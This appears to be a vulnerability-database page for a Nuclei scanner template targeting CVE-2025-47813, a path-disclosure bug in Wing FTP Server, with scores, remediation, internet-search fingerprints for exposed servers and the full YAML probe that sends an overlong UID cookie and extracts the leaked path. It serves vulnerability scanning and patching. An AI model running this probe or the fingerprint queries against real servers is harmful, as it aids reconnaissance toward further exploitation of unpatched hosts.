SecurityContext

CVE-2025-47813: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie

  • Template: CVE-2025-47813
  • Name: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie
  • Description: Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813). The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.
  • Impact: Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.
  • Remediation: Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.
  • Severity: medium
  • Authors: rcesecurity, pdteam
  • Tags: cve, cve2025, wingftp, unauth, exposure, vuln, kev, vkev
  • References: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/, https://www.wftpserver.com
  • Cves: CVE-2025-47813
  • Directory: http/cves
  • Path: http/cves/2025/CVE-2025-47813.yaml
  • Digest: 4a0a00473045022100c15dcd206e6f71220a56cf6a53b3bb52356684736bba4102cb8c0bacebdff752022023135f32de9b16c19b7d5391c25a20c72161c8ccd033bed41837b1796e3c4b3c
  • Created at: 2025-07-01T19:46:24Z
  • Updated at: 2026-11-21T02:03:58Z
  • Age in days: 511
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-47813.yaml
  • Checked, none or zero: verified
  • Not known: max requests

Classification

  • Cwe: CWE-209
  • Cvss score: 5.3
  • Cvss vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH
  • Epss score: 0.63496
  • Epss percentile: 0.99229
  • Not known: cpe

Metadata

  • Fofa-query: icon_hash="963565804", title="Wing FTP Server"
  • Product: wftpserver
  • Shodan-query: http.html_hash:2121146066, http.favicon.hash:963565804, title:"Wing FTP Server", Server: Wing FTP Server
  • Vendor: wing_ftp_server
  • Zoomeye-query: app="Wing FTP Server"
  • Checked, none or zero: verified

Products

ProductIndexedUrl
wing_ftp_server:wftpserverno—

Labels

  • Name: Wing FTP Server - Information Disclosure
  • Impact: Remote attackers can learn the full local installation path, aiding further attacks.
  • Remediation: Upgrade to Wing FTP Server 7.4.4 or later.
  • Vulnerability type: misconfiguration
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: securitycontext
  • From cve: CVE-2025-47813
  • Not known: requirements

```yaml

id: CVE-2025-47813

info:

name: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie

author: rcesecurity,pdteam

severity: medium

description: |

Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).

The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an

overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further

exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.

impact: |

Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.

remediation: |

Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.

reference:

- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/

- https://www.wftpserver.com

classification:

epss-score: 0.63496

epss-percentile: 0.99229

cve-id: CVE-2025-47813

cwe-id: CWE-209

cvss-score: 5.3

cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH

metadata:

product: wftpserver

vendor: wing_ftp_server

verified: false

shodan-query:

- http.html_hash:2121146066

- http.favicon.hash:963565804

- title:"Wing FTP Server"

- "Server: Wing FTP Server"

fofa-query:

- icon_hash="963565804"

- title="Wing FTP Server"

zoomeye-query:

- app="Wing FTP Server"

tags: cve,cve2025,wingftp,unauth,exposure,vuln,kev,vkev

variables:

longuid: "{{repeat('A', 2048)}}"

http:

- method: POST

path:

- "{{BaseURL}}/loginok.html"

headers:

Cookie: "UID={{longuid}}"

Content-Type: application/x-www-form-urlencoded

body: "username=anonymous&password=test"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "Server Path"

- "Error"

- ":\\\\" # Windows path

- "/usr/" # Linux path

condition: or

- type: word

part: header

words:

- "Wing FTP Server"

extractors:

- type: regex

part: body

regex:

- '([a-zA-Z]:[\\/][^A\r\n]{10,})'

digest: 4a0a00473045022100c15dcd206e6f71220a56cf6a53b3bb52356684736bba4102cb8c0bacebdff752022023135f32de9b16c19b7d5391c25a20c72161c8ccd033bed41837b1796e3c4b3c:922c64590222798bb761d5b6d8e72950

```